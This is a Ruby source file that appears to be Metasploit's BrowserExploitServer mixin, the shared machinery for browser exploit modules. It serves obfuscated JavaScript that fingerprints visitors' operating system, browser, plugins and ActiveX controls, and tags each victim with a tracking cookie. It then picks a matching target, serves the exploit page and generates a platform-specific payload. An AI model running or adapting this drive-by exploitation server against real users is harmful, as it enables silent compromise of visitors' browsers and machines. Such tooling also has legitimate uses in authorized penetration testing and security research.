# -*- coding: binary -*-

require 'erb'
require 'cgi'
require 'date'
require 'set'
require 'rex/exploitation/js'
require 'msf/core/exploit/jsobfu'

###
#
# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
#
###

module Msf
  module Exploit::Remote::BrowserExploitServer

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::RopDb
    include Msf::Exploit::JSObfu

    # this must be static between runs, otherwise the older cookies will be ignored
    DEFAULT_COOKIE_NAME = '__ua'

    PROXY_REQUEST_HEADER_SET = Set.new(%w{
       CLIENT_IP
       FORWARDED
       FORWARDED_FOR
       FORWARDED_FOR_IP
       HTTP_CLIENT_IP
       HTTP_FORWARDED
       HTTP_FORWARDED_FOR
       HTTP_FORWARDED_FOR_IP
       HTTP_PROXY_CONNECTION
       HTTP_VIA
       HTTP_X_FORWARDED
       HTTP_X_FORWARDED_FOR
       VIA
       X_FORWARDED
       X_FORWARDED_FOR
    })

    # Requirements a browser module can define in either BrowserRequirements or in targets
    REQUIREMENT_KEY_SET = Set.new([
      :source,       # Either 'script' or 'headers'
      :ua_name,      # Example: MSIE
      :ua_ver,       # Example: 8.0, 9.0
      :os_name,      # Example: Windows 7, Linux
      :os_device,    # Example: iPad, iPhone, etc
      :os_vendor,    # Example: Microsoft, Ubuntu, Apple, etc
      :os_sp,        # Example: SP2
      :language,     # Example: en-us
      :arch,         # Example: x86
      :proxy,        # 'true' or 'false'
      :silverlight,  # 'true' or 'false'
      :office,       # Example: "2007", "2010"
      :java,         # Example: 1.6, 1.6.0.0
      :clsid,        # ActiveX clsid. Also requires the :method key
      :method,       # ActiveX method. Also requires the :clsid key
      :mshtml_build, # mshtml build. Example: "65535"
      :flash,        # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
      :vuln_test     # Example: "if(window.MyComponentIsInstalled)return true;"
    ])

    def initialize(info={})
      super

      # The mixin keeps 'target' so module doesn't lose it.
      @target = target

      # See get_profile's documentation to understand what @target_profiles stores
      @target_profiles = {}

      # Requirements are conditions that the browser must have in order to be exploited.
      @requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})

      @info_receiver_page     = rand_text_alpha(5)
      @exploit_receiver_page  = rand_text_alpha(6)
      @noscript_receiver_page = rand_text_alpha(7)

      register_options(
      [
        OptBool.new('Retries', [false,  "Allow the browser to retry the module", true])
      ], Exploit::Remote::BrowserExploitServer)

      register_advanced_options([
        OptString.new('CookieName', [false,  "The name of the tracking cookie", DEFAULT_COOKIE_NAME]),
        OptString.new('CookieExpiration', [false,  "Cookie expiration in years (blank=expire on exit)"])
      ], Exploit::Remote::BrowserExploitServer)
    end

    #
    # Allows a block of code to access BES resources in a thread-safe fashion
    #
    # @param block [Proc] Block of code to sync
    #
    def sync(&block)
      (@mutex ||= Mutex.new).synchronize(&block)
    end

    #
    # Returns the resource (URI) to the module to allow access to on_request_exploit
    #
    # @return [String] URI to the exploit page
    #
    def get_module_resource
      "#{get_resource.chomp("/")}/#{@exploit_receiver_page}/"
    end

    #
    # Returns the absolute URL to the module's resource that points to on_request_exploit
    #
    # @return [String] absolute URI to the exploit page
    #
    def get_module_uri
      "#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
    end

    #
    # Returns the current target
    #
    def get_target
      @target
    end

    #
    # Returns a hash of recognizable requirements
    #
    # @param reqs [Hash] A hash that contains data for the requirements
    # @return [Hash] A hash of requirements
    #
    def extract_requirements(reqs)
      tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
      # Make sure keys are always symbols
      Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
    end

    #
    # Sets the target automatically based on what requirements are met.
    # If there's a possible matching target, it will also merge the requirements.
    # You can use the get_target() method to retrieve the most current target.
    #
    # @param profile [Hash] The profile to check
    #
    def try_set_target(profile)
      match_counts        = []
      target_requirements = {}

      targets.each do |t|
        target_requirements = extract_requirements(t.opts)
        if target_requirements.blank?
          match_counts << 0
        else
          match_counts << target_requirements.select { |k,v|
            if v.class == Regexp
              profile[k] =~ v
            else
              profile[k] == v
            end
          }.length
        end
      end

      if match_counts.max.to_i > 0
        @target = targets[match_counts.index(match_counts.max)]
        target_requirements = extract_requirements(@target.opts)
        unless target_requirements.blank?
          @requirements = @requirements.merge(target_requirements)
        end
      end
    end

    #
    # Returns an array of items that do not meet the requirements
    #
    # @param profile [Hash] The profile to check
    # @return [Array] An array of requirements not met
    #
    def get_bad_requirements(profile)
      bad_reqs = []

      # At this point the check is already done.
      # If :activex is true, that means the clsid + method had a match,
      # if not, then false.
      if @requirements[:clsid] and @requirements[:method]
        @requirements[:activex] = 'true' # Script passes boolean as string
      end

      @requirements.each do |k, v|
        # Special keys to ignore because the script registers this as [:activex] = true or false
        next if k == :clsid or k == :method

        expected = k != :vuln_test ? v : 'true'
        vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")

        if k == :vuln_test
          bad_reqs << k unless profile[k.to_sym].to_s == 'true'
        elsif v.is_a? Regexp
          bad_reqs << k if profile[k.to_sym] !~ v
        elsif v.is_a? Proc
          bad_reqs << k unless v.call(profile[k.to_sym])
        else
          bad_reqs << k if profile[k.to_sym] != v
        end
      end

      bad_reqs
    end

    #
    # Returns the target profile based on the tag. Each profile has the following structure:
    # 'cookie_name' =>
    # {
    #   :os_name   => 'Windows 7'
    #   ...... etc ......
    # }
    # A profile should at least have info about the following:
    # :source    : The data source. Either from 'script', or 'headers'. The 'script' source
    #              should be more accurate in some scenarios like browser compatibility mode
    # :ua_name   : The name of the browser
    # :ua_ver    : The version of the browser (not yet implemented)
    # :os_name   : The name of the OS ("Windows XP")
    # :language  : The system's language
    # :arch      : The system's arch
    # :proxy     : Indicates whether proxy is used
    #
    # For more info about what the actual value might be for each key, see HttpServer.
    #
    # If the source is 'script', the profile might have even more information about plugins:
    # 'office'       : The version of Microsoft Office (IE only)
    # 'activex'      : Whether a specific method is available from an ActiveX control (IE only)
    # 'java'         : The Java version
    # 'mshtml_build' : The MSHTML build version
    # 'flash'        : The Flash version
    # 'silverlight'  : The Silverlight version
    #
    # @param tag [String] Either a cookie or IP + User-Agent
    # @return [Hash] The profile found. If not found, returns nil
    #
    def get_profile(tag)
      sync do
        return @target_profiles[tag]
      end
    end

    #
    # Updates information for a specific profile
    #
    # @param target_profile [Hash] The profile to update
    # @param key [Symbol] The symbol to use for the hash
    # @param value [String] The value to assign
    #
    def update_profile(target_profile, key, value)
      sync do
        target_profile[key] = value
      end
    end

    #
    # Initializes a profile, if it did not previously exist
    #
    # @param tag [String] A unique string as a way to ID the profile
    #
    def init_profile(tag)
      sync do
        @target_profiles[tag] ||= {}
      end
    end

    #
    # Retrieves a tag.
    # First it obtains the tag from the browser's "Cookie" header.
    # If the header is empty (possible if the browser has cookies disabled),
    # then it will return a tag based on IP + the user-agent.
    #
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    #
    def retrieve_tag(cli, request)
      cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
      tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first

      if tag.blank?
        # Browser probably doesn't allow cookies, plan B :-/
        vprint_status("No cookie received, resorting to headers hash.")
        ip = cli.peerhost
        os = request.headers['User-Agent']
        tag = Rex::Text.md5("#{ip}#{os}")
      else
        vprint_status("Received cookie '#{tag}'.")
      end

      tag
    end

    #
    # Registers target information to @target_profiles
    #
    # @param source [Symbol] Either :script, or :headers
    # @param cli [Socket] Socket for the browser
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    #
    def process_browser_info(source, cli, request)
      tag = retrieve_tag(cli, request)
      init_profile(tag)
      target_info = get_profile(tag)
      update_profile(target_info, :source, source.to_s)

      # Gathering target info from the detection stage
      case source
      when :script
        # Gathers target data from a POST request
        parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
        vprint_debug("Received sniffed browser data over POST: \n#{parsed_body}.")
        parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) }
      when :headers
        # Gathers target data from headers
        # This may be less accurate, and most likely less info.
        fp = fingerprint_user_agent(request.headers['User-Agent'])
        # Module has all the info it needs, ua_string is kind of pointless.
        # Kill this to save space.
        fp.delete(:ua_string)
        fp.each do |k, v|
          update_profile(target_info, k.to_sym, v)
        end
      end

      # Other detections
      update_profile(target_info, :proxy, has_proxy?(request))
      update_profile(target_info, :language, request.headers['Accept-Language'] || '')

      report_client({
        :host      => cli.peerhost,
        :ua_string => request.headers['User-Agent'],
        :ua_name   => target_info[:ua_name],
        :ua_ver    => target_info[:ua_ver]
      })
    end

    #
    # Checks if the target is running a proxy
    #
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    # @return [Boolean] True if found, otherwise false
    #
    def has_proxy?(request)
      proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
      !proxy_header_set.empty?
    end

    #
    # Returns the code for client-side detection
    #
    # @param user_agent [String] The user-agent of the browser
    # @return [String] Returns the HTML for detection
    #
    def get_detection_html(user_agent)
      ua_info = fingerprint_user_agent(user_agent)
      os      = ua_info[:os_name]
      client  = ua_info[:ua_name]

      code = ERB.new(%Q|
      <%= js_base64 %>
      <%= js_os_detect %>
      <%= js_ajax_post %>
      <%= js_misc_addons_detect %>
      <%= js_ie_addons_detect if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %>

      function objToQuery(obj) {
        var q = [];
        for (var key in obj) {
          q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));
        }
        return Base64.encode(q.join('&'));
      }


      window.onload = function() {
        var osInfo = os_detect.getVersion();
        var d = {
          "os_name"     : osInfo.os_name,
          "os_vendor"   : osInfo.os_vendor,
          "os_device"   : osInfo.os_device,
          "ua_name"     : osInfo.ua_name,
          "ua_ver"      : osInfo.ua_version,
          "arch"        : osInfo.arch,
          "java"        : misc_addons_detect.getJavaVersion(),
          "silverlight" : misc_addons_detect.hasSilverlight(),
          "flash"       : misc_addons_detect.getFlashVersion(),
          "vuln_test"   : <%= js_vuln_test %>
        };

        <% if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %>
          d['office'] = ie_addons_detect.getMsOfficeVersion();
          d['mshtml_build'] = ScriptEngineBuildVersion().toString();
          <%
            clsid  = @requirements[:clsid]
            method = @requirements[:method]
            if clsid and method
          %>
          d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
          <% end %>
        <% end %>

        var query = objToQuery(d);
        postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){
          window.location="<%= get_module_resource %>";
        });
      }
      |).result(binding())

      js = ::Rex::Exploitation::JSObfu.new code
      js.obfuscate

      %Q|
      <script>
      #{js}
      </script>
      <noscript>
      <img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
      <meta http-equiv="refresh" content="1; url=#{get_module_resource}">
      </noscript>
      |
    end

    # @return [String] name of the tracking cookie
    def cookie_name
      datastore['CookieName'] || DEFAULT_COOKIE_NAME
    end

    def cookie_header(tag)
      cookie = "#{cookie_name}=#{tag};"
      if datastore['CookieExpiration'].present?
        expires_date = (DateTime.now + 365*datastore['CookieExpiration'].to_i)
        expires_str  = expires_date.to_time.strftime("%a, %d %b %Y 12:00:00 GMT")
        cookie << " Expires=#{expires};"
      end
      cookie
    end

    #
    # Handles exploit stages.
    #
    # @param cli [Socket] Socket for the browser
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    #
    def on_request_uri(cli, request)
      case request.uri
      when '/', get_resource.chomp("/")
        #
        # This is the information gathering stage
        #
        if get_profile(retrieve_tag(cli, request))
          send_redirect(cli, get_module_resource)
          return
        end

        print_status("Gathering target information.")
        tag = Rex::Text.rand_text_alpha(rand(20) + 5)
        ua = request.headers['User-Agent'] || ''
        init_profile(tag)
        print_status("Sending response HTML.")
        html = get_detection_html(ua)
        send_response(cli, html, {'Set-Cookie' => cookie_header(tag)})

      when /#{@info_receiver_page}/
        #
        # The detection code will hit this if Javascript is enabled
        #
        vprint_status "Info receiver page called."
        process_browser_info(:script, cli, request)
        send_response(cli, '', {'Set-Cookie' => cookie_header(tag)})

      when /#{@noscript_receiver_page}/
        #
        # The detection code will hit this instead of Javascript is disabled
        # Should only be triggered by the img src in <noscript>
        #
        process_browser_info(:headers, cli, request)
        send_not_found(cli)

      when /#{@exploit_receiver_page}/
        #
        # This sends the actual exploit. A module should define its own
        # on_request_exploit() to get the target information
        #
        tag = retrieve_tag(cli, request)
        vprint_status("Serving exploit to user with tag #{tag}")
        profile = get_profile(tag)
        if profile.nil?
          print_status("Browsing directly to the exploit URL is forbidden.")
          send_not_found(cli)
        elsif profile[:tried] and datastore['Retries'] == false
          print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
          send_not_found(cli)
        else
          update_profile(profile, :tried, true)
          vprint_status("Setting target \"#{tag}\" to :tried.")
          try_set_target(profile)
          bad_reqs = get_bad_requirements(profile)
          if bad_reqs.empty?
            method(:on_request_exploit).call(cli, request, profile)
          else
            print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx")
            if bad_reqs.include?(:vuln_test)
              error_string = (self.module_info['BrowserRequirements'] || {})[:vuln_test_error]
              if error_string.present?
                print_warning(error_string)
              end
            end
            send_not_found(cli)
          end
        end

      else
        send_not_found(cli)
      end
    end

    #
    # Overriding method. The module should override this.
    #
    # @param cli [Socket] Socket for the browser
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    # @param browser_info [Hash] The target profile
    #
    def on_request_exploit(cli, request, browser_info)
      raise NoMethodError, "Module must define its own on_request_exploit method"
    end

    #
    # Converts an ERB-based exploit template into HTML, and sends to client
    #
    # @param cli [Socket] Socket for the browser
    # @param template [String] The ERB template. If you want to pass the binding object,
    #                          then this is handled as an Array, with the first element
    #                          being the HTML, and the second element is the binding object.
    # @param headers [Hash] The custom HTTP headers to include in the response
    #
    def send_exploit_html(cli, template, headers={})
      html = ''
      if template.class == Array
        html = ERB.new(template[0]).result(template[1])
      else
        html = ERB.new(template).result
      end
      send_response(cli, html, headers)
    end

    #
    # Generates a target-specific payload, should be called by the module
    #
    # @param cli [Socket] Socket for the browser
    # @param browser_info [Hash] The target profile
    # @return [String] The payload
    #
    def get_payload(cli, browser_info)
      arch     = browser_info[:arch]
      platform = browser_info[:os_name]

      # Fix names for consistency so our API can find the right one
      # Originally defined in lib/msf/core/constants.rb
      platform = platform.gsub(/^Mac OS X$/, 'OSX')
      platform = platform.gsub(/^Windows.*$/, 'Windows')

      regenerate_payload(cli, platform, arch).encoded
    end

    # @return [String] custom Javascript to check if a vulnerability is present
    def js_vuln_test
      all_reqs = self.module_info['BrowserRequirements'] || {}
      if all_reqs[:vuln_test].present?
        code = all_reqs[:vuln_test] + ';return !!this.is_vuln;'
        'Function(('+JSON.generate(:code => code)+').code)()'
      else
        'true'
      end
    end

  end
end
